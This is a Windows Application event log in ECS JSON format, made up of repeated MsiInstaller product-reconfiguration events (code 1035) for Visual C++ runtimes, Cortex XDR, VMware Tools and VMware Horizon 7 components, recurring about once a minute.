{"@timestamp":1657403051337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171661}}
{"@timestamp":1657403051374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171662}}
{"@timestamp":1657403051401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171663}}
{"@timestamp":1657403110966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171664}}
{"@timestamp":1657403110993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171665}}
{"@timestamp":1657403111043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171666}}
{"@timestamp":1657403111084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171667}}
{"@timestamp":1657403111112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171668}}
{"@timestamp":1657403111142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171669}}
{"@timestamp":1657403111169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171670}}
{"@timestamp":1657403111196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171671}}
{"@timestamp":1657403111232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171672}}
{"@timestamp":1657403111260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171673}}
{"@timestamp":1657403170553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171674}}
{"@timestamp":1657403170581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171675}}
{"@timestamp":1657403170631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171676}}
{"@timestamp":1657403170673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171677}}
{"@timestamp":1657403170702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171678}}
{"@timestamp":1657403170733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171679}}
{"@timestamp":1657403170761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171680}}
{"@timestamp":1657403170787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171681}}
{"@timestamp":1657403170824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171682}}
{"@timestamp":1657403170852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171683}}
{"@timestamp":1657403230714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171684}}
{"@timestamp":1657403230741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171685}}
{"@timestamp":1657403230791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171686}}
{"@timestamp":1657403230829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171687}}
{"@timestamp":1657403230857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171688}}
{"@timestamp":1657403230888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171689}}
{"@timestamp":1657403230915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171690}}
{"@timestamp":1657403230941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171691}}
{"@timestamp":1657403230976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171692}}
{"@timestamp":1657403231003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171693}}
{"@timestamp":1657403290697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171694}}
{"@timestamp":1657403290725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171695}}
{"@timestamp":1657403290781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171696}}
{"@timestamp":1657403290827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171697}}
{"@timestamp":1657403290855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171698}}
{"@timestamp":1657403290886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171699}}
{"@timestamp":1657403290913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171700}}
{"@timestamp":1657403290939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171701}}
{"@timestamp":1657403290976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171702}}
{"@timestamp":1657403291003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171703}}
{"@timestamp":1657403350572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171704}}
{"@timestamp":1657403350599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171705}}
{"@timestamp":1657403350650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171706}}
{"@timestamp":1657403350690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171707}}
{"@timestamp":1657403350719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171708}}
{"@timestamp":1657403350749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171709}}
{"@timestamp":1657403350776,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171710}}
{"@timestamp":1657403350802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171711}}
{"@timestamp":1657403350838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171712}}
{"@timestamp":1657403350865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171713}}
{"@timestamp":1657403410804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171714}}
{"@timestamp":1657403410830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171715}}
{"@timestamp":1657403410879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171716}}
{"@timestamp":1657403410918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171717}}
{"@timestamp":1657403410945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171718}}
{"@timestamp":1657403410975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171719}}
{"@timestamp":1657403411001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171720}}
{"@timestamp":1657403411027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171721}}
{"@timestamp":1657403411065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171722}}
{"@timestamp":1657403411093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171723}}
{"@timestamp":1657403470578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171724}}
{"@timestamp":1657403470604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171725}}
{"@timestamp":1657403470654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171726}}
